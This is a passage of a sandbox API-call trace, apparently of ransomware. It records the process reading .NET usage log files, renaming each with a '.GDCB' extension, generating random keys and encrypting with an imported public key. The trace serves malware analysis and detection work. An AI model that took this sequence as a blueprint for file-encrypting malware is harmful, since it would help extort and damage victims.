nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5320000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0177.343] WriteFile (in: hFile=0x514, lpBuffer=0x5330000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5330000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0177.343] WriteFile (in: hFile=0x514, lpBuffer=0x5340000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5340000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0177.343] CloseHandle (hObject=0x514) returned 1 [0177.344] VirtualFree (lpAddress=0x5340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0177.345] VirtualFree (lpAddress=0x5320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0177.345] VirtualFree (lpAddress=0x5330000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0177.346] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log.gdcb")) returned 1 [0177.367] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0177.368] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.369] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.369] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.369] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0177.370] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.370] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.371] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.371] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.371] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0177.373] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690c88) returned 1 [0177.373] CryptGetKeyParam (in: hKey=0x3690c88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.373] CryptEncrypt (in: hKey=0x3690c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5320000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5320000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.373] GetLastError () returned 0x0 [0177.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.373] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0177.375] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690cc8) returned 1 [0177.375] CryptGetKeyParam (in: hKey=0x3690cc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.375] CryptEncrypt (in: hKey=0x3690cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5330000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5330000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.376] GetLastError () returned 0x0 [0177.376] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.376] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0177.378] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0177.379] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5350000 [0177.380] ReadFile (in: hFile=0x514, lpBuffer=0x5350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5350000*, lpNumberOfBytesRead=0x285d3e8*=0x9eb, lpOverlapped=0x0) returned 1 [0177.389] VirtualAlloc (lpAddress=0x0, dwSize=0x9f0, flAllocationType=0x3000, flProtect=0x4) returned 0x5460000 [0177.393] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log.gdcb")) returned 1 [0177.401] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0177.403] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.405] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.405] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.405] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0177.407] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.408] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.408] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.408] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.408] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0177.411] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690d08) returned 1 [0177.412] CryptGetKeyParam (in: hKey=0x3690d08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.412] CryptEncrypt (in: hKey=0x3690d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5320000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5320000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.412] GetLastError () returned 0x0 [0177.412] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.412] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0177.415] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690b08) returned 1 [0177.415] CryptGetKeyParam (in: hKey=0x3690b08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.415] CryptEncrypt (in: hKey=0x3690b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5330000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5330000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.415] GetLastError () returned 0x0 [0177.415] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.415] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0177.418] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0177.419] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5350000 [0177.420] ReadFile (in: hFile=0x514, lpBuffer=0x5350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5350000*, lpNumberOfBytesRead=0x285d3e8*=0x282, lpOverlapped=0x0) returned 1 [0177.444] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0x5460000 [0177.448] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log.gdcb")) returned 1 [0177.454] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0177.455] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.456] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.456] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.456] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.456] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0177.457] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.458] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.458] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.458] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.458] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0177.460] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690b48) returned 1 [0177.460] CryptGetKeyParam (in: hKey=0x3690b48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.460] CryptEncrypt (in: hKey=0x3690b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5320000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5320000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.461] GetLastError () returned 0x0 [0177.461] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.461] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0177.463] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690b88) returned 1 [0177.463] CryptGetKeyParam (in: hKey=0x3690b88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.463] CryptEncrypt (in: hKey=0x3690b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5330000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5330000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.463] GetLastError () returned 0x0 [0177.463] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.463] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0177.465] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0177.467] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5350000 [0177.467] ReadFile (in: hFile=0x514, lpBuffer=0x5350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5350000*, lpNumberOfBytesRead=0x285d3e8*=0xae4, lpOverlapped=0x0) returned 1 [0177.533] VirtualAlloc (lpAddress=0x0, dwSize=0xaf0, flAllocationType=0x3000, flProtect=0x4) returned 0x5460000 [0177.537] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log.gdcb")) returned 1 [0177.542] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0177.544] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.544] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.545] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.545] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0177.545] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0177.546] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.547] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.547] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.547] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0177.549] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690d48) returned 1 [0177.550] CryptGetKeyParam (in: hKey=0x3690d48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.550] CryptEncrypt (in: hKey=0x3690d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5320000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5320000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.550] GetLastError () returned 0x0 [0177.550] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.550] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0177.552] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690648) returned 1 [0177.552] CryptGetKeyParam (in: hKey=0x3690648, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.552] CryptEncrypt (in: hKey=0x3690648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5330000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5330000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.552] GetLastError () returned 0x0 [0177.552] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.552] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0177.554] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0177.556] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5350000 [0177.557] ReadFile (in: hFile=0x514, lpBuffer=0x5350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5350000*, lpNumberOfBytesRead=0x285d3e8*=0x155a, lpOverlapped=0x0) returned 1 [0177.572] VirtualAlloc (lpAddress=0x0, dwSize=0x1560, flAllocationType=0x3000, flProtect=0x4) returned 0x5460000 [0177.585] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log.gdcb")) returned 1 [0177.597] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0177.599] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.599] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.599] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.599] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.600] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0177.600] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.601] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.601] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.601] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0177.604] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690988) returned 1 [0177.604] CryptGetKeyParam (in: hKey=0x3690988, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.604] CryptEncrypt (in: hKey=0x3690988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5320000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5320000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.604] GetLastError () returned 0x0 [0177.604] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.604] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0177.606] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36909c8) returned 1 [0177.607] CryptGetKeyParam (in: hKey=0x36909c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.607] CryptEncrypt (in: hKey=0x36909c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5330000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5330000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.608] GetLastError () returned 0x0 [0177.608] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0177.608] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v4.0_32\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v4.0_32\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0177.610] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0177.611] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5350000 [0177.612] ReadFile (in: hFile=0x514, lpBuffer=0x5350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5350000*, lpNumberOfBytesRead=0x285d3e8*=0x205, lpOverlapped=0x0) returned 1 [0177.616] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x3000, flProtect=0x4) returned 0x5460000 [0177.763] 